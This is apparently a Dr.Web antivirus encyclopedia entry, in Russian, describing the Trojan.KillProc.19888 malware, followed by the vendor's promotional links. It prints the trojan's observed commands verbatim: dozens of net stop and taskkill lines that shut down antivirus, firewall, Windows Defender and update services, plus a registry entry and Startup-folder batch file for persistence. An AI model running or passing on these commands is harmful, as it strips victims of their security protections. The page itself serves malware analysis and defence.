Trojan.KillProc.19888

Техническая информация

Для обеспечения автозапуска и распространения:

Создает или изменяет следующие файлы:

%HOMEPATH%\Start Menu\Programs\Startup\NOMEDOVIRUS.bat

Вредоносные функции:

Запускает на исполнение:

<SYSTEM32>\net1.exe stop "Symantec Network Drivers Service" /y
<SYSTEM32>\net.exe stop "norton Unerase Protection" /y
<SYSTEM32>\net.exe stop "Symantec Network Drivers Service" /y
<SYSTEM32>\net.exe stop srservice /y
<SYSTEM32>\net1.exe stop srservice /y
<SYSTEM32>\net.exe stop MpfService /y
<SYSTEM32>\net1.exe stop MpfService /y
<SYSTEM32>\net1.exe stop MskService /y
<SYSTEM32>\net1.exe stop "norton Unerase Protection" /y
<SYSTEM32>\net.exe stop MskService /y
<SYSTEM32>\net1.exe stop SAVScan /y
<SYSTEM32>\net.exe stop NProtectService /y
<SYSTEM32>\net.exe stop SAVScan /y
<SYSTEM32>\net.exe stop MonSvcNT /y
<SYSTEM32>\net1.exe stop MonSvcNT /y
<SYSTEM32>\net.exe stop ccEvtMGR /y
<SYSTEM32>\net1.exe stop ccEvtMGR /y
<SYSTEM32>\net1.exe stop ccSetMGR /y
<SYSTEM32>\net1.exe stop NProtectService /y
<SYSTEM32>\net.exe stop ccSetMGR /y
<SYSTEM32>\net1.exe stop "*McAfee*" /y
<SYSTEM32>\net.exe stop ccPwdSvc /y
<SYSTEM32>\net.exe stop "*McAfee*" /y
<SYSTEM32>\net.exe stop "*Symantec*" /y
<SYSTEM32>\net1.exe stop "*Symantec*" /y
<SYSTEM32>\net.exe stop "norton AntiVirus Client" /y
<SYSTEM32>\net1.exe stop "norton AntiVirus Client" /y
<SYSTEM32>\net1.exe stop "Serv-U" /y
<SYSTEM32>\net1.exe stop ccPwdSvc /y
<SYSTEM32>\net.exe stop "Serv-U" /y
<SYSTEM32>\net1.exe stop "McAfeeAntiSpyware" /y
<SYSTEM32>\net.exe stop helpsvc /y
<SYSTEM32>\net.exe stop "McAfeeAntiSpyware" /y
<SYSTEM32>\net.exe stop mcupdmgr.exe /y
<SYSTEM32>\net1.exe stop mcupdmgr.exe /y
<SYSTEM32>\net.exe stop "*norton*" /y
<SYSTEM32>\net1.exe stop "*norton*" /y
<SYSTEM32>\net1.exe stop ERSvc /y
<SYSTEM32>\net1.exe stop helpsvc /y
<SYSTEM32>\net.exe stop ERSvc /y
<SYSTEM32>\net1.exe stop "Automatic Updates" /y
<SYSTEM32>\net.exe stop "Symantec Core LC" /y
<SYSTEM32>\net.exe stop "Automatic Updates" /y
<SYSTEM32>\net.exe stop "Security Center" /y
<SYSTEM32>\net1.exe stop "Security Center" /y
<SYSTEM32>\net.exe stop "norton AntiVirus Firewall Monitor Service" /y
<SYSTEM32>\net1.exe stop "norton AntiVirus Firewall Monitor Service" /y
<SYSTEM32>\net1.exe stop "SAVScan" /y
<SYSTEM32>\net1.exe stop "Symantec Core LC" /y
<SYSTEM32>\net.exe stop "SAVScan" /y
<SYSTEM32>\net1.exe stop "MpsSvc"
<SYSTEM32>\taskkill.exe /f /t /im "FirewallControlPanel.exe"
<SYSTEM32>\net.exe stop "MpsSvc"
<SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\NOMEDOVIRUS.bat""
<SYSTEM32>\reg.exe add /v /t "REG_SZ" /d "%TEMP%\1.tmp\NOMEDOVIRUS.bat" /f
<SYSTEM32>\net1.exe stop "WinDefend"
<SYSTEM32>\taskkill.exe /f /t /im "MSASCui.exe"
<SYSTEM32>\net.exe stop "WinDefend"
<SYSTEM32>\net.exe stop "wuauserv"
<SYSTEM32>\net1.exe stop "wuauserv"
<SYSTEM32>\net1.exe stop "Ahnlab Task Scheduler" /y
<SYSTEM32>\net.exe stop navapsvc /y
<SYSTEM32>\net.exe stop "Ahnlab Task Scheduler" /y
<SYSTEM32>\net.exe stop "Symantec SPBBCSvc" /y
<SYSTEM32>\net1.exe stop "Symantec SPBBCSvc" /y
<SYSTEM32>\net.exe stop vrmonsvc /y
<SYSTEM32>\net1.exe stop vrmonsvc /y
<SYSTEM32>\net1.exe stop "Sygate Personal Firewall Pro" /y
<SYSTEM32>\net1.exe stop navapsvc /y
<SYSTEM32>\net.exe stop "Sygate Personal Firewall Pro" /y
<SYSTEM32>\net1.exe stop "norton AntiVirus Auto Protect Service" /y
<SYSTEM32>\net.exe stop "McAfee Spamkiller Server" /y
<SYSTEM32>\net.exe stop "norton AntiVirus Auto Protect Service" /y
<SYSTEM32>\net.exe stop "norton AntiVirus Auto-Protect Service" /y
<SYSTEM32>\net1.exe stop "norton AntiVirus Auto-Protect Service" /y
<SYSTEM32>\net.exe stop "McAfee SecurityCenter Update Manager" /y
<SYSTEM32>\net1.exe stop "McAfee SecurityCenter Update Manager" /y
<SYSTEM32>\net1.exe stop "McAfee Personal Firewall Service" /y
<SYSTEM32>\net1.exe stop "McAfee Spamkiller Server" /y
<SYSTEM32>\net.exe stop "McAfee Personal Firewall Service" /y

Изменения в файловой системе:

Создает следующие файлы:

<Текущая директория>\NOMEDOVIRUS.bat
C:\System Volume Information\_restore{E7F0F64C-F7E5-4319-8757-E9A20C1C4E14}\drivetable.txt
%TEMP%\1.tmp\NOMEDOVIRUS.bat
<Текущая директория>\DirPath

Удаляет следующие файлы:

<Текущая директория>\DirPath

Другое:

Ищет следующие окна:

ClassName: '' WindowName: ''

Демо бесплатно на 14 дней

Выдаётся при установке

Скачать с сайта

Скачать с Google Play

Поздравляем! Обменяйте их на скидку до 50% на покупку Dr.Web.

Получить скидку

Скачайте
Dr.Web для Android

Бесплатно на 3 месяца
Все компоненты защиты
Продление демо через
AppGallery/Google Pay

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней